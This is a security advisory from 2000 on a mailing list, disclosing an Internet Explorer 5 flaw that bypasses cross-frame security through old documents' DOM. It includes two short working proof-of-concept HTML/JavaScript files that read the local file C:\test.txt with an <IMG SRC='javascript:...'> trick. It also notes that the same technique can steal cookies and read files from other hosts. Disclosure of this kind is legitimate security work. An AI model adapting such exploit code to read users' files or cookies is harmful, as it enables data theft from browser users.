IE 5 security vulnerablity - circumventing Cross-frame security

From: Georgi Guninski (joroat_private)
Date: Fri Jan 07 2000 - 06:32:22 PST

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    Georgi Guninski security advisory #4, 2000
    
    IE 5 security vulnerablity - circumventing Cross-frame security policy
    and accessing the DOM of "old" documents.
    
    Disclaimer:
    The opinions expressed in this advisory and program are my own and not
    of any company.
    The usual standard disclaimer applies, especially the fact that Georgi
    Guninski is not liable for any damages caused by direct or  indirect use
    of the information or functionality provided by this program.
    Georgi Guninski, bears NO responsibility for content or misuse of this
    program or any derivatives thereof.
    
    Description:
    Internet Explorer 5.01 under Windows 95 and 5.5 under WinNT 4.0 (suppose
    other versions are also vulnerable)
    allows circumventing "Cross frame security policy" by accessing the DOM
    of "old" documents using <IMG SRC="javascript:..."> and a design flaw in
    IE.
    This exposes the whole DOM of the target document and opens lots of
    security risks.
    This allows reading local files, reading files from any host, window
    spoofing, getting cookies, etc.
    
    Details:
    This is a strange exploit. If you open a new document in a window that
    contains an old document, the old
    document's DOM may be accessed by the new document until the new
    document is completely parsed and displayed.
    Looks like IE keeps the old document until the new document is finally
    parsed and displayed.
    If you put a <IMG SRC="javascript:..."> in the new document, it has
    access to the old document's DOM.
    Examine the source code for more info:
    
    The code is:
    -----------------img2main.html---------------------------------------
    <A HREF="img2.html" TARGET="victim">link</A>
    <SCRIPT>
    alert("Create a short text file C:\\test.txt and it will be read and
    shown in a message box");
    a=window.open("file://c:/test.txt","victim");
    setTimeout("document.links[0].click()",2000);
    </SCRIPT>
    ---------------------------------------------------------------------
    
    ----------------img2.html--------------------------------------------
    <HTML>
    <IMG SRC="javascript:a=window.open('javascript:alert(\'Here is your
    file:   \'+opener.document.body.innerText)');alert('Just an alert, but
    is necessary. Wait a little.')">
    </HTML>
    ---------------------------------------------------------------------
    
    
    Demonstration is available at: http://www.nat.bg/~joro/img2main.html
    
    Workaround: Disable Active Scripting
    
    Regards,
    Georgi Guninski
    http://www.nat.bg/~joro
    



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